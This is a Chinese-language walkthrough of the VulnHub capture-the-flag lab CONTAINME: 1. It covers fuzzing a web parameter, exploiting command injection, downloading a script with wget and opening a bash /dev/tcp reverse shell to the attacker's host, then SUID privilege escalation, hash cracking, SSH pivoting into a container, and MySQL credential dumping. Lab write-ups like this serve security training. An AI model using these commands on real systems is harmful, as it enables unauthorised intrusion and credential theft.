vulnhub靶场之CONTAINME: 1
准备:
攻击机:虚拟机kali、本机win10。
靶机:CONTAINME: 1,下载地址:https://download.vulnhub.com/containme/THM-ContainMe-v4.ova,下载后直接vm打开即可。
知识点:命令执行、ffuf爆破参数、hxd使用、ida使用(逆向)、john爆破、可疑文件提权、mysql基本操作。
信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.20.10.0/24,获得靶机地址:172.20.10.3。
扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.3,显示开放了22、80、2222、8022端口,开启了ssh、http服务。
目录扫描:
使用dirmap对80端口进行目录扫描,发现了index.php、info.php、index.html文件。
访问index.php返回一个目录信息,在其源代码信息中出现隐藏信息:where is the path ?,猜测这里应该是存在参数并且可能执行了ls -al之类的系统命令。
参数爆破:
使用ffuf进行参数爆破,命令:ffuf -u 'http://172.20.10.3/index.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 329,成功获得参数名称:path。最后的-fs是为了过滤下无用的返回信息,需要根据具体情况进行调整,这里使用-fs 329就可以。
使用获得path参数输入命令:;id或|id进行测试,发现确实存在命令执行漏洞。
获取shell:
测试时直接使用bash、nc无法反弹shell,通过echo写入脚本文件也是无法写入成功的,后来使用命令:ls -al /查看了下目录权限,发现只有/tmp目录才具有写入权限,但是使用echo往/tmp写入仍是失败。
后来只能在本地写好脚本然后开启http服务,通过命令执行漏洞下载该脚本,命令:;wget -P /tmp http://172.20.10.2:8000/shell.sh。然后通过命令:;ls -al /tmp可以查看上传的脚本信息。如果不确定上传的目录,可以通过ls -al /查看下具有写入权限的目录,不过一般/tmp都可以写入。
#!/bin/bash
bash -c 'bash -i >&/dev/tcp/172.20.10.2/6688 0>&1'
写入脚本文件后在kali端开启对6688端口的监听,命令:nc -lvvp 6688,然后利用命令执行漏洞使用bash进行执行shell.sh文件,命令:bash /tmp/shell.sh,成功获得shell权限。
尝试提权:
查看下当前账户是否存在可以使用的特权命令,sudo -l,但是这个方法这里行不通。
原来想去/home目录下查找下flag文件,但是在/home/mike目录下发现了一个可疑文件,执行该文件结果如下。
使用strings、strace查看或调试该文件信息,但是均失败,显示不存在该命令,想用python开启web服务下载该文件也是失败。
逆向代码信息:
那就只能查看下该文件的二进制数据,命令:xxd -ps /home/mike/1cryptupx。
使用hxd将十六进制编码恢复并导出为1cryptupx文件。
使用ida打开1cryptupx文件,查看下其代码信息并对代码信息进行分析,发现是当我们输入的密码与hash值比对正确时时会执行/bin/bash,那就将hash值复制下来进行爆破,命令:john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt,成功得到密码:mike。
提权至root:
加上密码:mike执行1cryptupx文件,但是返回的仍是www-data权限。
那我们查看当前用户下具有root权限的可执行文件都有哪些,命令:find / -perm -4000 -type f 2>/dev/null,发现了:/usr/share/man/zh_TW/crypt,看到名字和1cryptupx都具有crypt。
查看该文件权限显示当前账户具有可执行权限,使用获得密码:mike进行执行,成功获得root权限,但是未发现flag值,但是发现root后面显示是host1,猜测是否存在另一个虚拟镜像。
提权2:
查看主机ip发现两个新的ip地址:192.168.250.10、172.16.20.2,emmmm接着搞吧。使用nmap对该地址进行扫描,命令:nmap -sn 172.16.20.0/24,但是容器中未安装nmap,需要自己安装:apt install nmap,扫描完成之后发现了172.16.20.6。
扫描下主机172.16.20.6开放的端口对应的服务:nmap -A 172.16.20.6,显示开放了22端口和ssh服务。
虽然开放了ssh服务,但是我们缺少登录密码进行登录,但是在mike账户下发现了密匙信息,因此尝试下使用mike账户的密匙信息进行登录,命令:ssh mike@172.16.20.6 -i id_rsa,成功登录。
查看下当前开启的服务,命令:ss -tuln,发现了mysql服务。
这里尝试了下常用的弱密码,最后password成功连接数据库,命令:mysql -umike -ppassword,然后在account数据库中发现了root账户和mike账户的密码信息:root/bjsig4868fgjjeog、mike/WhatAreYouDoingHere。
利用获得密码信息:root/bjsig4868fgjjeog、mike/WhatAreYouDoingHere切换成root账户,然后在root账户下的/root目录下发现mike.zip文件。
解压mike.zip文件需要输入密码,尝试使用mike账户的密码:WhatAreYouDoingHere进行解密,获得解密后的文件并读取文件信息,成功获取到flag值。
vulnhub靶场之CONTAINME: 1的更多相关文章
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
随机推荐
- Springboot配置文件参数使用docker-compose实现动态配置
文章总结; Springboot配置文件中的一些参数可以写成变量的形式,具体变量的值可以从docker-compose.yml文件中设置来获取 在yml文件中,通过${Envirment_variab ...
- prometheus设置使用密码nginx反向代理访问
注意: 1.设置访问密码的方式 2.ngixn反向代理的配置 # 安装 Apache工具包 apt install apache2-utils htpasswd -bc /etc/nginx/.pro ...
- echarts pie饼状图绑定点击事件
var valueData = [ {value: 33,name: '诊所'}, {value: 29,name: '汽车服务相关'}, {value: 27, name: '洗衣店'}, {val ...
- [算法2-数组与字符串的查找与匹配] (.NET源码学习)
[算法2-数组与字符串的查找与匹配] (.NET源码学习) 关键词:1. 数组查找(算法) 2. 字符串查找(算法) 3. C#中的String(源码) 4. 特性Attribute 与内 ...
- NSIS安装界面无虚线框移动
最近很多应用程序都在安装界面的美化上面下足了功夫,一个漂亮流畅的安装界面无疑会给其带来用户体验上的加分,其中一个无虚线框跟随鼠标移动比较有趣,狂翻msdn后终于找到了控制函数SystemParamet ...
- 自学Spring
Spring官网地址https://spring.io/ springManven官网地址:https://mvnrepository.com------------------------ spri ...
- ASP.NET Core :中间件系列(三):中间件限流
中间件 微软官网定义: 中间件 中间件意思就是处理请求和响应的软件: 1.选择是否将请求传递到管道中的下一个组件. 2.可在管道中的下一个组件前后执行工作. 对中间件类 必须 包括以下 具有类型为 R ...
- Maven中POM文件总体配置说明
POM文件总体配置说明 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://w ...
- 3.ElasticSearch系列之Docker本地部署
对于之前的部署方式一般用于生产环境,而对于学习而言Docker方式快速部署就好了,本示例在window10环境下进行. 1. Docker使用Elasticsearch 需要对vm.max_map_c ...
- 使用redis进行手机验证码的验证、每天只能发送三次验证码 (redis安装在虚拟机linux系统中)
文章目录 1.代码 2.测试结果 2.1.第一次发送 2.2.填写正确的验证码 2.3.填写错误的验证码 连续发送多次验证码 环境准备:虚拟机Linux系统,redis安装在虚拟机中. 前提条件:虚拟 ...